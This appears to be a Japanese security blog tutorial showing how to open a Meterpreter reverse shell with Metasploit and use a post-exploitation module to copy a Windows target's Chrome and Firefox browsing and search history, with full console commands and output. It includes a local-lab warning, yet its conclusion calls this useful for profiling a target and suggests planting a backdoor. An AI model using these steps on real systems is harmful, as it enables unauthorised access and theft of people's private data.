Security Record

セキュリティ全般に関する情報を発信しています

Kali Linuxでリモートから標的PCのブラウザ閲覧履歴を取得する方法

※注意 こちらで紹介した内容を外部サーバーに対して実行した場合、場合によっては刑法にて処罰されます。 実験を行う場合は必ずローカル環境にテスト用のサーバーを構築して実行してください。

Metasploitの起動

まずはいつも通りmsfconsoleコマンドでMetasploitを起動します。

┌──(root㉿kali)-[/home/kali]
└─# msfconsole

リバースシェルによるセッションの確立

他のハッキング同様、リバースシェルによって標的PCとのセッションを確立させます。

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > exploit -j -z

[-] Msf::OptionValidateError The following options failed to validate: LHOST
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.28.5
LHOST => 192.168.28.5
msf6 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.28.5:4444 
msf6 exploit(multi/handler) > [*] Sending stage (200774 bytes) to 192.168.28.8
[*] Meterpreter session 1 opened (192.168.28.5:4444 -> 192.168.28.8:50026) at 2023-08-16 21:25:42 +0900

exploitの検索

searchコマンドでexpliteを検索します。
1件みつかったのでpost/windows/gather/forensics/browser_historyというexploitを使用してみる事にします。

msf6 exploit(multi/handler) > search browser_history

Matching Modules
================

   #  Name                                           Disclosure Date  Rank    Check  Description
   -  ----                                           ---------------  ----    -----  -----------
   0  post/windows/gather/forensics/browser_history                   normal  No     Windows Gather Skype, Firefox, and Chrome Artifacts


Interact with a module by name or index. For example info 0, use 0 or use post/windows/gather/forensics/browser_history

exploitをセットする

先程searchコマンドで見つかったexploitをuseコマンドでセットして、セッションをセットします。 (セッションはsessions -iコマンドを使用する事で一覧として確認できます)

msf6 exploit(multi/handler) > use post/windows/gather/forensics/browser_history
msf6 post(windows/gather/forensics/browser_history) > set SESSION 1
SESSION => 1
msf6 post(windows/gather/forensics/browser_history) > show options

Module options (post/windows/gather/forensics/browser_history):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on


View the full module info with the info, or info -d command.

exploitの実行

runコマンドによりexploitを実行します。

msf6 post(windows/gather/forensics/browser_history) > run

[*] Gathering user profiles
[*] Checking for Chrome History artifacts...
[+] Chrome History directory found user
[*] Downloading C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
[+] Chrome History artifact file saved to /root/.msf4/local/user_ChromeHistory_Default_History. #閲覧履歴のファイルが保存された
[*] Downloading C:\Users\user\AppData\Local\Google\Chrome\User Data\Guest Profile\History
[+] Chrome History artifact file saved to /root/.msf4/local/user_ChromeHistory_GuestProfile_History.
[*] Checking for Chrome Archived History artifacts...
[+] Chrome Archived History directory found user
[*] Checking for Skype artifacts...
[-] Skype directory not found for user
[*] Checking for Firefox artifacts...
[+] Firefox directory found user
[*] Downloading C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bvejvd5y.default-release\places.sqlite
[+] Firefox artifact file saved to /root/.msf4/local/user_Firefox_bvejvd5y.default-release_places.sqlite
[*] Post module execution completed
msf6 post(windows/gather/forensics/browser_history) > 

実行に成功すると/root/.msf4/local/ディレクトリ以下にファイルが保存されます。

fileコマンドで出力されたファイルの確認

/root/.msf4/local/ディレクトリ以下に保存されたファイルをfileコマンドで調べると、SQLiteのデータベースファイルとなっている様です。

┌──(root㉿kali)-[/home/kali]
└─# file /root/.msf4/local/user_ChromeHistory_Default_History.

/root/.msf4/local/user_ChromeHistory_Default_History.: SQLite 3.x database, last written using SQLite version 3041002, file counter 39, database pages 169, 1st free page 59, free pages 2, cookie 0x23, schema 4, UTF-8, version-valid-for 39

DB Browser for SQLiteの起動

SQLiteのデータベースファイルの中身を確認する為、Kali Linuxの左上の検索窓にSQLと入力してDB Browser for SQLiteを起動します。

検索語句・閲覧履歴の取得

ここからはDB Browser for SQLiteをGUIで操作します。
urlsテーブルを選択するとブラウザの閲覧履歴が確認できkeyword_search_termsテーブルを選択すると、検索語句の履歴が確認できます。

DB Browser for SQLiteの起動画面

テーブル一覧が確認できます。

検索語句の履歴の確認画面

keyword_search_termsテーブルを選択すると検索語句の履歴が確認できます。

閲覧履歴履歴の確認画面

urlsテーブルを選択すると閲覧履歴が確認できます。

まとめ

直接的な脅威にはならないのかも知れませんが、簡単にブラウザの閲覧履歴と検索履歴を盗むことに成功しました。

標的の趣味嗜好を知る必要がある際は有効な手段となり得るかも知れません。ただ、リバースシェルでセッションが確立しないと出来ないハッキングなので、標的PCとセッションが確立した段階ではまず権限昇格とバックドアを仕込む方が効率が良い気がします。

参考

ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習 | IPUSIRON |本 | 通販 | Amazon